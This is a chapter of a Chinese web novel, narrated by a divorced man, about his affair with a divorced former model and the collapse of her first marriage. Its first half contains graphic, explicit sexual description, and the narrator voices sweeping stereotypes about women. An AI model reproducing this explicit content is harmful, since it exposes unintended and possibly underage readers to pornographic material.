图片载入中

婚姻男女(又名离婚男女or落叶) 3

特大字】 【大字】 【中字】 【小字

三、欲海狂潮

人每违背一次理智,就会受到理智的一次惩罚。

——霍布斯

男女之事就是这样,有了第一次,第二次就顺理成章了。

几天以后的周末,A女邀请我到她家做客。为了约我到一个温馨的二人世界,她特地把她儿子送到父母那里,还提前请假下班回家,做了一桌子香喷喷的饭菜。她很细心,临到我下班前,还给我打了个电话,问我多久到,她好把菜下锅。

A女的家是八九十年代建成的那种一居室半的小房子,总面积不会超过六十平米。餐厅和客厅是共用的,有个主卧面积大概有十多平米的样子,放了一张双人床和一个大衣柜后就满了。还有一间小屋,放一张单人床和一个小书桌,是她儿子的房间。房子只是经过了最简单的装修,但收拾得很干净,显得井井有条,一尘不染,看上去倒也让人舒心。

会生活的主妇就是这样,她们可以把有限的物质条件,用自己的智慧和勤劳发挥到最优效果。我没离婚时,虽然房子面积是A女家的三倍,但我前妻从来不收拾房子,打扫房间的重任就落到了我肩上。可我毕竟是个男人,工作也忙,再怎么努力也做不到跟女人一样细心。所以,我的那个家,总显得不整洁。再到后来,夫妻感情恶化之后,我也不把那个家当家了,拒绝再做家务,那个家就越发的肮脏凌乱,用“狗窝”来形容,丝毫也不为过。

A女见我来,先是热情地吻了我一下,然后伺候我换了拖鞋,把我拉到桌子旁边,让我坐下。那一桌子菜还冒着热气,连酒都已经斟好了。

面对着一桌子丰盛的饭菜,我激动得说不出话,心里充满了对她由衷的感激。是的,我感激她,在我十年婚姻里,我从未享受过这种待遇。我前妻不光是床上的死鱼、商场里的贵妇,还懒得出奇,家里的锅碗瓢盆都是我掂着,十年如一日心里别提多烦了。但是没办法啊,谁让我老实呢?她不做,总得有人做,那只有我做。

A女举起酒杯来,含情脉脉地看着我,说:“守杰,咱俩相识真不容易,你说这北京城这么多男男女女,咱俩却能偶然凑到一起,我喜欢你,你欣赏我,算是苦尽甘来了。今后,咱俩一定要好好处,好好过日子。来,为明天干杯!”

“对,为明天干杯!”我也端起了酒杯,碰了一下,杯中清冽的酒被我一饮而尽,感觉真是酣畅淋漓。放下杯子后,我注视着A女,她只抿了一小口。这无所谓,女人很少有喜欢喝酒的,而我也不喜欢粗鲁地劝人下酒,只要尽兴就成。

“来,尝尝我做的红烧肉,我最拿手的就是这个,你尝尝,保准跟在别处吃的不一样。”A女夹了几块红烧肉放到我碗里,然后看着我。那眼神,充满柔情蜜意。

我吃了一块,果真香浓可口,味道好极了。忍不住连声赞叹:“好吃好吃!”说完,又往嘴里塞了一块。

A女笑吟吟地看着我那副贪吃的样子,又给我斟满了一杯酒,接着把自己的那杯添满,站起身提议道:“守杰,咱们喝个交杯酒吧,喝了这一杯,咱俩就算彼此牵挂着的亲人了。”

我赶忙把嘴里的肉块囫囵着咽下去,端起酒杯站起身,看着她,跟她喝下了这一杯交杯酒。A女酒量不行,喝下去呛着了,咳嗽了两声。我连忙心疼地给她喂了口菜压酒,又帮她抚摸胸口。

突然,她擡起头看着我,问:“守杰,你爱我吗?”

“我爱你!”我不假思索地说了这句话。

刚刚走出围城的我,并不善于在女人面前逢场作戏。说出“我爱你”这三个字,意味着我是认真的,没有半点戏言。是的,和她一起感觉太幸福了,不是因为她带给我销魂的性爱,而是因为她让我体会到了家庭生活的温暖。

看着A女充满期待的眼神,我心想:她不就是我要寻找的人吗?一桌子的热腾腾香喷喷的饭菜,她掐着点利利索索地搞上来了,还提前问我喜欢吃什么——不过,我想了半天愣是没想出来,因为以往十年婚姻里从来没人问过这个问题;我为做饭的时候都是问她想吃什么,从没考虑过自己想吃什么,以至于我都不记得我喜欢吃什么了,只好告诉她“随便”——这不就是家的感觉吗?这不就是老婆的感觉吗?我从那个魔窟里跳出来,不就是为了奔这个吗?

想到这里,我禁不住有些感动得眼泪直在眼眶里打转。一个男人十多年被忽视,忽然有一天,一个美丽的女人出来尊重他,你说,我能不感动吗?这就好比,极夜过去之后,地平线射来的第一缕曙光。我经历了太漫长的严冬寒夜,以至于看到这曙光,就禁不住热泪盈眶。

酒足饭饱之后,这对孤男寡女就急不可耐地上了床。大家都抱着“鼓足干劲,力争上游,大干快上”的想法,转眼间就脱了一个熘光。

第二次上床,我就没第一次那么矜持胆小了。小弟弟出奇地兴奋,早就硬的像个铁棍。

我舒舒服服地躺在床上,A女又开始为我口交。这一次,她的技术更加娴熟—-不是进步了,而是第一次搞时她还有所保留,这次完全放开了。

她湿热的舌尖,在我全身上下游走,忽轻忽重,忽快忽慢,撩拨得本人欲火中烧,小弟弟跟跳劲舞一样上下左右摇摆,却始终屹立不倒!

正可谓:熟女舔青松,青松挺且直,欲知有多硬,待到进入时。

A女继续投入地为我舔遍全身,不仅是JJ,蛋蛋,甚至连脚趾、脚心甚至P眼都被她吮了又吮。

WK,咱哪里受过这种待遇?简直是皇上的感觉!特别是那舔P眼,简直舒服得跟受刑一样,让俺一边受用一边发出快乐的惨叫。一边惨叫一边想,真是风水轮流转啊,现在终于轮到俺当死鱼了,哈哈!

不过,兴奋之余,俺又不禁起了点怀疑:这么熟练的技术,那得千锤百炼多少回啊?就像俺,A片三级片也没少看,但那只是看看打打飞机而已,一到真枪实干,想都没敢想过那些高难度动作。

这么好的口活,到底是怎么练出来的?行房事最怕分心,一分心想到这些事情,小弟弟竟然就立刻软了下来。

A女本来已经做好准备往我身上坐了,一看小弟弟成了阮(软)小二,不得不换了个调教方式,蹲在俺的身上,用小妹妹轻轻地摩擦;似有似无,时轻时重。小弟弟天生就喜欢小妹妹,这么相亲相爱一阵子,又重振雄风了。

这一次就厉害了,俺不知为什么持续的时间很长,大概有三十多分钟吧,期间俺在她的指导下换了很多姿势;柳树盘根,侧捅莲花,百合花开,观音打坐,老汉推车……试了一圈,小弟弟竟然始终不射,都成了万里长城永不倒了。

我满身大汗淋漓,累得上气不接下气;而A女在小弟弟的猛烈攻击下,接二连三地达到高潮。

其中她第一次达到高潮时,俺习惯性地把小弟弟抽出来了—-因为以前跟那条死鱼搞的时候,只要她一“啊啊”我就得出局,不管我到了没有。因此俺跟那个俄国科学家巴甫洛夫养的狗一样,都养成了条件反射了,见到女人“啊啊”就屁滚尿流准备撤。

不料,A女却立刻翻身下跪,撅起屁股迎了上来!

这个提醒让俺想起,哦耶!现在是解放了,碰到毛主席了,咱农奴翻身做主人了!于是,“扑哧”一声来了个二进龙宫。

一边搞,心里一边唱:

驱散乌云见太阳

革命道路多宽广

翻身农奴把歌唱

幸福歌声传四方……

半个多小时的翻江倒海、龙飞凤舞,让A女数度“啊啊”。

半个小时里,两人可谓翻江倒海、酣畅淋漓,连床单被褥都被汗水浸湿。

折腾完了以后,我和A女都精疲力竭了。我点了一支事后烟,得意洋洋地看着她,很为自己的出色表现沾沾自喜。

而A女躺在我身边,一边喘着粗气,一边心满意足地对我说:“守杰,没想到你这么厉害!刚才真是太舒服了!”

我倒不为自己的持久战能力感到震惊。我这人平时就是个耐力型选手,不光做事耐心,运动起来也耐力十足:游泳时能一口气不休息连游七八千米,跑步时也能轻松地搞定半个马拉松。

所以,出现这么持久的情况我并不意外,我本该有这个能力。只是,以前跟前妻一起,根本就没什么机会发挥自己的战斗力。

“你刚才到了几次?”我想核实一下自己究竟有多强,平静地反问她:“我刚才觉得你连着叫了好几次床,是不是High了好几回?”

A女满脸通红,连忙点头回答我说:“是!五次!你让我到了五次!”说完,她抱着我狠狠地亲了几口,欣喜若狂地说:“守杰,你真是上天赐给我的完美礼物!”

虽然我对自己的战斗力满意,但听她说竟然达到了五次,我还是有些不敢相信,问:“怎么这么多?这怎么可能呢?我有那么强啊?”

A女意犹未尽,回答道:“是,守杰,你太强了,你都不知道你有多棒!你的硬度和时间长度都是出奇的啊,你知不知道?刚才你弄得我大高潮过去就来小高潮,一阵阵的,真舒服,我从来都没这么舒服过!”

听了她发自内心的赞美,我心里也是喜滋滋的,深深吸了口烟,满意地吐出来,心想:唉,都是同一个李守杰,同样的战斗力,结果到了我前妻那里成了我见不得人的缺点,是我没脱离动物性的表现;到了A女这里却成了她欣喜若狂的理由,是“鸡鸡”中的战斗“鸡”。人跟人真是不一样啊,早知道这样,五年前A女离婚时我就该离婚来找她的,五年前的她,二十七八岁年纪,那该有多迷人啊!

想到这里,我侧身到床头柜上抽了一张面巾纸,想擦拭一下下身的体液。A女却一下拦住我的手,说:“不用你擦,我给你舔。”说完,她起身趴到我的小弟弟上,认真地把炮身上残留的体液舔了一个干干净净。靠,真是个极品尤物,跟她一起太他妈的爽了。

那天晚上我没走,两人休息了一会儿又来了一次,这才相拥睡去。半夜,我忽然又被下半身的一阵舒爽弄醒,睁眼一看,她正在吮吸我的小弟弟。于是,我在半梦半醒之间又来了一次。整个晚上我们不知搞了多少次,每次都持续二三十分钟。到公鸡开始打鸣时,方才精疲力尽地睡着了。

第二天是星期六。我从睡梦中醒来,一看表都快11点了。A女已经起床了,我叫了几声没人答应,一摸身上,黎明前那次两人流出的体液还煳在身上,黏煳煳的。于是我赤裸着上身,到卫生间里洗了一个热水澡。

洗的时候,觉得下面完全囊中无物了,似乎有种空荡荡的痛;而俺的那个金刚钻,也因为头天晚上数次钻井,也磨得有点火辣辣的感觉。

我心想:嗯,偶尔疯狂这么一次还可以,老这么整的话,那我这金刚钻非得提前报废了不可。

洗完后,我回卧室穿好衣服来到客厅,这才注意到早点已经准备好了,放在餐桌上。一碗榨菜肉丝面,里边放了一个煎好的荷包蛋;还有一杯牛奶,一模,尚有余温。顿时,我心中再次涌起一阵温暖,再次想起了以往暗无天日的生活——十年里,从没人为我准备过一顿早点!

吃完早点,我把碗洗了,又抽了一枝烟。片刻,她回来了,手里拎着俩塑料袋,里边有一条鱼,一些青菜,还有一只卤鸭子,外加几罐易拉罐的啤酒。

注视着她进门的倩影,我忽然觉得,她是这个世界上最好的女人,也是最美的女人,忽然有了一种想抱住她痛哭一场的冲动。

我站起身来,抱住她,深吻很久。然后,我捧起她秀丽的鹅蛋脸,眼含泪花对她说:“老婆,我的老婆,我觉得我们俩,遇见得太晚了……怎么会这么晚才遇到呢?我真恨自己,为什么在五年前不找到你,甚至……为什么不在十年前找到你,那样我们会有多幸福?”

我不像有些人那样,可以随随便便地称唿任何一个人“老公”、“老婆”的。我一旦称唿A女是“老婆”,就意味着我已经从心里完全接受了她,她就是我暂时还没拿证的老婆,她就是我的唯一,我的至爱。

我忍住即将夺眶而出的泪水,接着说道:“老婆,你知道吗,要是十年前我们能够遇到一起,无论你还是我,就不会受那么多的苦,承担那么多的不幸,忍受那么多的折磨和委屈……”

说到这里,我再也忍不住,大颗的泪珠终于顺着脸颊,滑落下来。

A女此时反倒像个大姐姐,她听了我这番痛切的表白,虽然自己也忍不住直抹眼泪,但还是安慰我说:“瞧,守杰,咱们现在遇到的还不晚,不是吗?咱俩才三十出点头,还算年轻呢,以后一起得过半个世纪呢,对不对啊?以前咱们遭的那些罪,就算咱们偿还前辈子的欠债吧,现在债还完了,咱们就幸福了,是不是啊?你得往好处想,是不是?”

“嗯,是,是!”这话说得我更感动了,除了点头赞同,再也说不出什么了。然后,两人紧紧地拥抱在一起,互相用体温,温暖着对方的躯体。我抚摸着她微卷的长发,暗自发誓,今后一定要对她好,给她幸福,给她呵护。

不知抱了多久,她轻轻推了一下我,说:“好了守杰,我还得做饭呢。”

我连忙松开她,擦擦脸上的泪痕,自觉地跟她到厨房一起弄菜。谁知她却把我推到一边,对我说:“厨房太小,我自己弄就行了,守杰你去看电视吧。”

我坐在沙发上,拿个遥控器无意识地乱摁一阵,根本就无心看节目。看到她在厨房里忙碌的身影,在幸福和感动之余,我心想以前真是错怪她了,她或许有点物欲,但她对我真的很好,真的是个适合做老婆、值得我心疼的女人。虽然穷点,有个孩子,但就冲着她对我这种关心,我这个大男人就应该给她、还有她儿子一个幸福美满的生活不是?

那几天我的心情出奇的好,不仅是每晚那令人意乱情迷的肉体交合,也不仅是她对我无微不至的体贴,更重要的是,她给我带来了希望,巨大的希望,让我对未来生活产生了甜蜜的憧憬。

希望啊,希望,十年没有过的希望……

第三天,也就是星期天,我主动带她金融街购物中心,为她买了一套Ports的连衣裙,又买了一双Aee的高跟鞋,花了三千多块。

A女身高有1.70米,身段极好,细柳蛮腰,大腿修长,肤色很白,一头大波浪深栗色长发,穿上漂亮的连衣裙,真是绝配!试衣服的时候,那些营业员和边上的顾客,也都忍不住围过来,看这个天生玉成的尤物,骄傲地向我展示柔美的身段。

看到旁人羡慕的眼神,我禁不住再次感到遇到她真是走运。买单时,不仅没有丝毫吝惜,反而觉得非常舒心:我觉得她配得到这些。

晚上回到她家,A女依旧没有从逛街购物的快感中解脱。洗完澡后,她又穿上新买的衣服,走猫步给我看。她的一举一动,一颦一笑,都带着模特儿的职业素养,每一个转身,每一个步态,甚至每一个停顿,都显得完美无缺,浑身上下都散发着美的气息。

看到她的满足和陶醉,我也非常开心,微笑就跟刻在脸上一样,挥之不去。高兴之余,忍不住想:她的那个前夫简直是有病,家里放着如花似玉、温柔贤淑的娇妻不去疼,竟然去他妈的偷腥!这不是脑子进水了是什么?不过又一想,要不是他有病,哪里能轮到着我来享受这仙女?想想,也就释然了。

见我兴致盎然,A女又把她的其他衣服拿出来,一套一套地秀给我看。我微笑地看着她,心想“士为知己者死,女为悦己者容”,这话说得一点都不错。

小小的房间里,始终洋溢着快乐与甜蜜的空气。

我们的私人服装秀持续了一个多小时。亢奋状态下的A女大概回想起了自己的青春岁月,拿出她以前的老影集给我翻。唉,十年前的她,简直可以称得上倾城倾国,而且目光清纯、表情甜美。

看着她的这些照片,我心想:自己真是亏大了,怎么不那时遇见她?这女人要貌有貌,要德有德,要情有情,身材一流,相貌一流,床上功夫一流,简直是十全十美。要是我们年轻时就好上了,那我会多幸福?她会少受多少磨难?至少,我李守杰这个天生的宅男,守着个如花似玉的她,打死我都不会出去偷腥的。

然而,本来还没什么感觉,但一对比旧照,发现她毕竟是老了。虽然还风韵犹存,但目光有些复杂,眼袋也若隐若现。不过,我并不嫌她老,我也不再年轻了,现在能遇到她,即便是拂尾青春,那我也知足。

一边翻看影集,她一边跟我讲述每一张照片后面的故事:哪张是参加比赛的,哪张是做第11届亚运会礼仪小姐的,哪张则是上了报纸的,等等。而我不住评论着,感叹着,想象着她的青春,她的美丽,她的纯真。

翻着翻着,突然有几张裸照映入眼帘,我顿时吃惊得瞪大了眼睛。

A女一下子慌了神,把影集夺过去了。

我以往算个老实人,现在,虽然经过A女调教,不那么老实了,但瘦死的骆驼比马大,变得不老实的老实人,也比天生的滑头们老实多了。咱那老实毕竟是骨子里带着的,学会多少不老实才有多少不老实,剩下的,还是原装的老实货。当然,随着岁月的磨砺,咱身上的原装老实货越来越少,不老实货越来越多,但那毕竟是后话。

所以,当我看到那些裸照,霎时大吃一惊。虽然A女把它抢去了,但我已经真真切切地看到了。毕竟,我是准备跟她成家过一辈子的,而不是打算跟她肏一把再各奔东西。所以,这些东西当然要计较,忍不住追问下去。

而我的计较,也并非苛求。尽管我本人也是个二手男,但历史是绝对清白的。我这辈子遇到的第一个女人就是前妻,20出头就被她搞定了;然后一直在家里做宅男,没有初恋老情人,没搞过职场恋,没玩过一夜情,没嫖过鸡,十多年如一日守身如玉,简直都可以改名叫李守贞了。因此,虽然咱带个二手男标签,但我的异性交往史,恐怕比现在很多未婚男还清白。

所以,不是我小心眼,我可不想找一个阅人无数的浪女做老婆,更不想婚后这个来那个去的,来来往往都送咱一顶绿军帽戴戴。我起码得知道,对方在我以前经历过什么人,这些人还会不会纠缠不休,而她又打算怎样处理这种纠缠。

A女经不住我再三追问,只得承认:“那是我以前的一个男朋友给我照的,我跟他分手很久了。”

“分手多久了?”我继续追问。

“都好几年了。”A女回答道:“早就不来往了。”

我又看了看照片,觉得她没说实话。从照片上她的衰老程度来看,我推测这些照片不会超过一两年。

但是转念想想,毕竟也是过去的事情了,A女这么漂亮,又是离婚长达五六年的独身女人,中间肯定不会是一张白纸,交个把男朋友也是难免。现在遇到了我,如果我能提供给她安全和呵护,没准她会肯死心塌地跟我。再说,她都这个年纪了,即便过去放荡过,现在也肯定想收心了;否则,再过几年,姿色彻底没有了,那下半辈子可就惨了。为什么不给她一个机会呢?

想到这里,我也就稍稍宽心了一点,不再多问。

谁知A女却以为我不开心了,就又画蛇添足地把自己跟那个男友交往的历史主动坦白给我听。从她口中我得知:原来,那男人比她小5岁,还未婚呢。

我一听,忽然想起以前我在网上看到那篇,找了28岁阳光大老板的离婚女自述,心里暗自嘀咕:靠,那篇帖子该不是她写的吧?

于是我马上问道:“你那个前男朋友……是个大老板?”

“嗯,也不算大吧……反正做生意的,建材生意。”

“是……海归?”

“什么?海龟?”A女先是愣了一下,旋即明白过来:“什么海龟呀,他不是读书人,也就是一个生意人,温州的,有点钱,文化不算高。”

“哦……”我暗自松了一口气,看来她不是那个女人,而且态度还算诚实,没有吹到离谱。于是,我断言道:“那丫根本就没打算跟你结婚,一个二十多岁未婚男干吗找个离婚带孩子的大姐啊,你被人涮了。”

谁知,我这话伤了A女的自尊心,她马上不假思索地反驳说:“哼,怎么能说被他涮了呢?我也是有魅力的女人,他没理由不迷恋我。再说了,他要真的抱着玩我的态度,那还指不定谁玩谁呢。他跟我在一起时,我不是没怀疑过他的动机,所以我总是要他为我买单。说到性,咱俩都是过来人,我也需要啊,所以这事怎么说都算不上被涮了。”

“什么?”A女这一席话,让我禁不住倒吸一口冷气,心想这女人怎么这样算账?明知道成不了,却还跟人家在一起,花人家的钱,为性买单、买单给性,这不跟变相卖淫差不多吗?

这番画蛇添足的解释,把我以前对她的好感一下子都打没了,脸色立刻凝重起来,变得很难看。

A女注意到我的神态不对,马上改口说:“当时,我虽然有些怀疑他,但还是想着,没准儿自己努力吸引他,对他好,也许能感动他。所以我那时也很投入感情,一心一意奔着谈婚论嫁去的。”

“那为什么最后分了呢?”我问道。

“唉,他家里反对,说他一个未婚青年,找我一个离婚带孩子的亏了,我们也就分了。其实,他也很舍不得我,但没办法啊,他爸妈坚决不干。”说到这里,A女似乎感觉自己说走了嘴,有点自贬身价了,连忙补充了一句:“后来他又找过我好多回,想劝我回心转意再和他重新开始,可是我不愿意,伤心了,好马还不吃回头草呢。”

听了她这句自擡身价的补充,我压根儿就不信。男人越老越精,哪有越老越傻的?人家一个未婚男,如果不是自身条件特别差,那么,留恋你的身体、想继续跟你维持肉体关系倒有可能;要论到娶你做老婆,估计很难。

想到这里,我忽然觉得,女人要是见天儿自夸美丽是件挺可怕的事情,那意味着,她在潜意识里,已经把自己的美丽当成一种资本了,而且很可能会用这个资本,去交换某些东西。再联想到与前妻的生活,我越发感觉这种自夸实际上是为了谋求一种心理优势,试图让男人自惭形秽,进而达到控制这个男人的目的。

见我依旧心事重重的样子,A女连忙转移了话题,先是把我这个“老实人”赞美了一通,然后说,给她介绍对象的人成群结队,里边有腰缠万贯的大老板,有位高权重的大官员,还有不远万里慕名而来的国际友人,她就跟绣楼上的千金小姐一样,看着楼下黑压压的膜拜者,但又哪个都看不上。唯独远远地看到我就一见钟情了,因为,我这个人一看就能给人安全感。

嘿,您瞧,长得像正面人物就是有好处吧?咱竟然打眼一看就让人有种安全感,以至于不费吹灰之力,就摆平了古今中外所有的兔八哥。我自从被前妻垄断以来,整日被前妻数落得一无是处,十多年没享受过女人的一句恭维。A女短短几句话,让我感觉好极了。她给我这么良好的自我感觉,“艳照门”的事我也就不好意思再提了。

不过,A女这人心里不装事,跟她相处得熟悉了,我倒渐渐搞清楚了她第一次婚姻失败的原因。当初我们聊QQ时,她只笼统地说是前夫出轨,但后来随着两人交往日益亲密,我发现她前夫出轨的过程,其实并不是当初她说的那么简单。

A女给我看过前夫的老照片,那绝对是一个风度翩翩、相貌堂堂的美男子,说是现代潘安也不为过。别看我这人平时自我感觉还行,可要是跟他一比,那我简直就要无地自容了。据A女说,她前夫身高有1.86米,仪表出众;缺点就是家里穷了点,而他本人也不过是国有企业里的一个办公室普通职员。

A女年轻时,身边也有过不少男人追求,其中不乏条件很好的。这点我完全相信,凭借她年轻时的貌美,身边绝对不会缺乏男人追求。即使是我,假如当时我认识她,我也可能为之倾倒。即使我个性不主动,但心中暗恋是肯定的。

面对条件很好的追求者,A女也曾左顾右盼了很久。但是认识了前夫之后,两人一见钟情,他被她的美丽吸引,她被他的魅力打动。真爱,在这对帅哥美女之间产生了。

而A女的娘家不同意这门婚事。A女的前夫虽然帅,但性格懦弱,工作很一般,家境也很差。和他比起来,有一些条件不错的求婚者虽然长相稍逊于A女前夫,但也还算一表人才。其中有一个求婚者,年纪不到三十,就做了某机关处长,身高也有1.80米以上,仪表堂堂,父母都是厅局级干部。A女的父母,特别倾向于这个年轻人。

但爱情就是这样,真正的爱情是不会被这些世俗条件所左右的。A女铁了心要跟前夫,见娘家人反对,她就自作主张,先跟他同居了。

那是九十年代早期,中国人的性观念还不是很开放,A女对前夫以身相许,意味着这事不再有反悔余地。对此,娘家人气的捶胸顿足,但也无可奈何。

当初,她还认为自己为前夫顶住了世俗的眼光,算是为真爱而牺牲了无数攀高枝的机会。而那位没被A女看上的年轻处长,现在已经做到市政府某局的局长了,还是个正职。

讲到这里,A女轻轻叹了口气,脸上流露出一丝怅然。

我明白,她为自己当时的勇敢,或者说轻率感到后悔。她后悔没有选择那位年轻的处长,那样她的人生将会是另外一番景象。

人生总是充满了这样那样的遗憾,其实我又何尝不是如此。在为爱情作出牺牲时,我们往往并不知道,它会给我们带来什么样的未来……

不过,一个超级帅哥,一个平面模特,两人结合在一起,也算是王子公主般的童话。走在大街上,这一对小夫妻的回头率超过百分之九十九剩下百分之一不回头的,那估计就是盲人。

按理说,这对小夫妻算是门当户对的梦幻组合。可惜,老天非要弄出点遗憾给他们:她前夫长的是帅,人也特别老实本分,可遇事没魄力,工作态度懒散,也不敢下海挣钱创业。

九十年代中后期,正是市场经济大潮波涛汹涌的时候。很多貌不起眼的男人下海成了大老板,很多丑的无人愿意多看一眼的女人,也升格成了阔太太。身边的人一个个生活发生了巨变,唯独A女的前夫,却依然安守着一个月千把块工资当他的小职员。也是,搞市场经济,并不意味着按照长相发钱不是?

恰在此时,A女怀孕生子。A女算是一个比较尽职的母亲,光给孩子喂母乳就喂了两年。身材变形,模特的职业干不成了。以前是两人挣钱两人花,现在成了一人挣钱养活三张嘴,而前夫依然守着他一个月一千出头的工资,安贫乐道,家庭立即陷入贫困。

为了贴补家用,A女就出去寻找工作。A女高中毕业后就出道做模特,文凭不高,所以,在九十年代那个讲文凭的时代,稍微像样的工作岗位都要求本科学历。而她的高中学历决定了,她找不来很好的工作。

当然,这也是个欲望时代,假如她肯用肉体去交换,或许能找到更好的工作。

但她不愿意。

后来,A女找到一家国营企业打工。这家公司,后来改制成了民营企业。可有一样,无论是国营阶段还是民营时代,这公司总是一副半死不活的样子,薪水也少的可怜。

A女没有被严酷的生活条件所压垮,她也在努力赶上时代的步伐。于是,她一边工作,一边带孩子,一边通过成人自修拿到了大专、直到本科文凭。

可惜水涨船高,等她拿到本科文凭,又赶上大学扩招,毕业就失业的本科生满大街都是。稍微像样点的工作,都要求有研究生学历了。

她不得不依旧守在这个半死不活的公司里,拿着一个月两千多的微薄薪酬。

时间久了,A女开始心理不平衡了,她想:那些原本长得不怎么样的朋友同学邻居,都能找有钱人,过上开大奔住别墅吃香喝辣的好日子,怎么自己这么漂亮,这么贤惠,这么努力,反而过得这么穷?特别是,跟她一同出道的那些模特姐妹,一个个不是傍大款就是当二奶,成天穿金戴银的,潇洒得不得了。跟她们一比,A女觉得自己太亏了。

渐渐地A女的怨言开始多了,总是拿着前夫跟这个比跟那个比,先是自己心里比,然后就在前夫面前比,比来比去得出一个结论:前夫是个绣花枕头,中看不中用;自己当年没有选择那个机关处长选了前夫,那是选错了。

女人一旦对某个男人产生了不满和鄙夷,就没耐心伺候他了,也不会有什么好脸色看。而大部分男人也是有自尊心的,被老婆拿着比来比去,数落一身的不是,她前夫也郁闷,两人的争吵越来越多。

女人们,如果你的老公在事业上进行得不是很顺利时,最好不要讥讽他嘲笑他,更不要拿他跟成功人士去对比,那将是对他很大的侮辱。尽管他可能嘴上说不出什么,但你的唠叨会疏远他与你的距离,或者导致他自暴自弃。男人事业成功与否,不仅要看才能,要看性格,也要看机遇。在他不顺心的时候,其实最渴望的就是你的关怀和鼓励。抱怨、比较、讥讽,不但解决任何不了问题,反而会导致夫妻关系出现裂痕,不但坏了他的心态,也坏了你自己的心态。聪明女人与傻女人的区别就在这里,傻女人只会怨天尤人,聪明女人懂得如何走出阴霾。

当然啦,反过来说,是男人的话,你就得想办法承担养家煳口的重担,自己多给自己点鞭策,虽然说不上一定要成为百万富翁,但起码得尽心尽力,别让老婆跟着你受穷。贫贱夫妻百事哀,这话一点儿也不假。

就在这个时候,A女的身材也渐渐恢复了。而且她这人很怪,身材居然恢复得一点看不出来生过孩子,就跟大姑娘一样的清爽,腰部一丝赘肉都没有。要说变化,只是胸更挺了,臀更翘了,女人味更足了。但即便如此,最青春的几年已经过去了,再干模特已经无法与水灵的80后美女们竞争,她也就安心在公司里挣工资。

这个物欲社会就是这样,充满了欲望,也充满了诱惑。虽然模特干不成了,但A女的姿色仍旧是一流的,在公司里无人能比。很快就有男人给她献殷勤,起初是给她买些名牌衣服,化妆品,再后买戒指,买项链。其实,目的也很清楚,就是想搞她上床。

面对诱惑,A女也守了几天矜持。但那些名牌衣服、化妆品的吸引力实在太大了,所以她最后还是接了。起初脑子还清醒,再三提醒自己说:只接东西,不上床。但是,俗话说“拿人家的手短,吃人家的嘴软”,一来二去的,渐渐跟人家还是拉拉扯扯上了:被人家抱着摸一摸,搂着亲一亲;虽然暂时还没上床,但那只是尚未实现质变,量变一直在进行。

不过,到底真上床没有,只有A女自己知道。反正我是听众,她说没上床那就没上床吧。

没有不透风的墙,更何况是这种人们茶余饭后都津津乐道的风流韵事。A女跟老板们逛街吃饭K歌次数多了,消息很快传到了前夫耳朵里。前夫起初还忍着,但好事不出门,坏事传千里,被添油加醋的谣言越传越凶。那些传谣的人,一个个说的有鼻子有眼,活灵活现,仿佛他们亲眼见过一样。

我一直感觉,中国人的心态很怪异。这个国家有很多心地不良的人,成事不足,败事有余;对好人好事不屑一顾,对乌龙八卦乐此不疲。同时,这些人,习惯于用最低的道德水准要求自己,却用最高的道德标杆衡量别人。人与人之间,充满了构陷与争斗,人人巴不得别人倒霉,看别人的笑话。

面对越来越凶的谣言,A女前夫终于忍无可忍,在家里玩起了《拷红》,跟A女对质。

A女自忖没跟别人上床,心底无私天地宽,态度很强硬,不但不承认自己错了,反而又一次拿着她前夫,跟为自己献殷勤的老板比较,把他前夫数落得一钱不值。

人就是这样,当你不欣赏一个人了,那他怎么着都不对。此时A女嘴里,她前夫不仅没钱,也没能力,也没品位,也没德行。甚至,连他前夫长的帅也成了缺点,挖苦说这张漂亮皮囊披在你这个草包身上那真是白瞎了。

她前夫听了这些话,也就越来越深信那些传言,以为自己真的戴了绿帽子,一气之下狠狠打了A女一顿。打的时候因为愤怒,连他自己的手指都骨折了,可见用力之狠。

当时两人就闹离婚,但因为孩子还小,加上A女死不承认自己出轨,前夫又无实际证据,后来双方父母出面,平息了这场风波。双方各退了一步:A女承认接别人东西是错误的,前夫承认打人也是不对的。

风波表面上是平静了,但内心的阴影却落下了。她前夫无法再待在原单位了,一是戴了绿帽子的传闻早就传遍了全单位,二是那企业半死不活的实在是挣不了几个钱,三是A女也鼓励他出去闯闯,认为前夫没准多见见世面能锻炼出来。

直到这一步,A女都没有跟别人上过床。为此,她多次跟前夫解释,说自己只接了人家东西,真的没做过背叛前夫的事情;如果真的想离弃前夫,那她就不会总是抱怨他,而是直接跟别人跑了。

可惜,这些话前夫又如何能信?

最后两人商量好,A女在家带孩子伺候老人,前夫去深圳寻找发展。

可惜,A女的前夫除了长得帅一无所长。连碰了几次壁以后,到了一家公司求职。恰好,那家公司的老板是个三十多岁的丧偶女人,人长的很一般,但是太有钱了。来了这么一位美男子求职,女老板一见钟情,二话没说就录用了。

在那公司上班后,女老板对A女前夫有心,照顾得无微不至。又是提拔又是加薪,平日里还嘘寒问暖。

A女前夫是背负着老婆给自己戴了绿帽子的极度怀疑走的,没走的时候A女不是数落他无能就是给他白眼,他心里也憋着一口气。现在,一个有钱的女人关心他体贴他,再加上孤身在外一人,寂寞空虚,他能不跟人家上床?

于是,A女前夫理所当然地出轨了,跟女老板同居。女老板是本着找个男人过一辈子的态度跟她相处的,处处关心他体贴他。同居久了,前夫的心态也发生了变化。为什么呢,男人最怕的是被自己的女人瞧不起,老婆越是数落,越是自暴自弃。现在,一个有钱女人每天把他当宝贝哄着,当心肝护着,当大爷捧着,当神仙供着,他能不感动吗?再说,A女前夫跟女老板一处,马上就从穷棒子摇身一变成了有钱人,他自己也留恋这种生活。

结果,半年之后,A女前夫在一次通电话时,提出想要离婚。在家含辛茹苦带孩子养老人、做梦都盼望前夫衣锦还乡的A女,接到前夫要离婚的电话,像是听到晴天霹雳,简直都要气疯了。

从A女的角度出发,她确实有一千个气疯的理由。当初A女做大姑娘时,长的可谓沈鱼落雁、闭月羞花,多少富家少爷、缙绅公子排队等待她的挑选。她一不看金钱,二不看权势,选择了这个帅气老实的穷小子;然后跟着穷小子穷了好多年,又带孩子又养老人,独守空床大半年,为的就是这穷小子能混出点出息。哦,现在这穷小子是混出息了,反倒要把她一脚给踹了。你说,她能不气疯吗?

诱惑时刻都在A女身边伺机而动。A女的一惊一怒一气,生了报复心,那些早就对她垂涎三尺的男人,恰好乘虚而入。很快,A女就跟个老板搞上了,而且根本就不遮遮掩掩,直接请老板回家肏,楼道里都拉拉扯扯的。

人生报复心的时候,做事都不是很理智,特别是A女,这个处于心理极度不平衡状态下的女人。

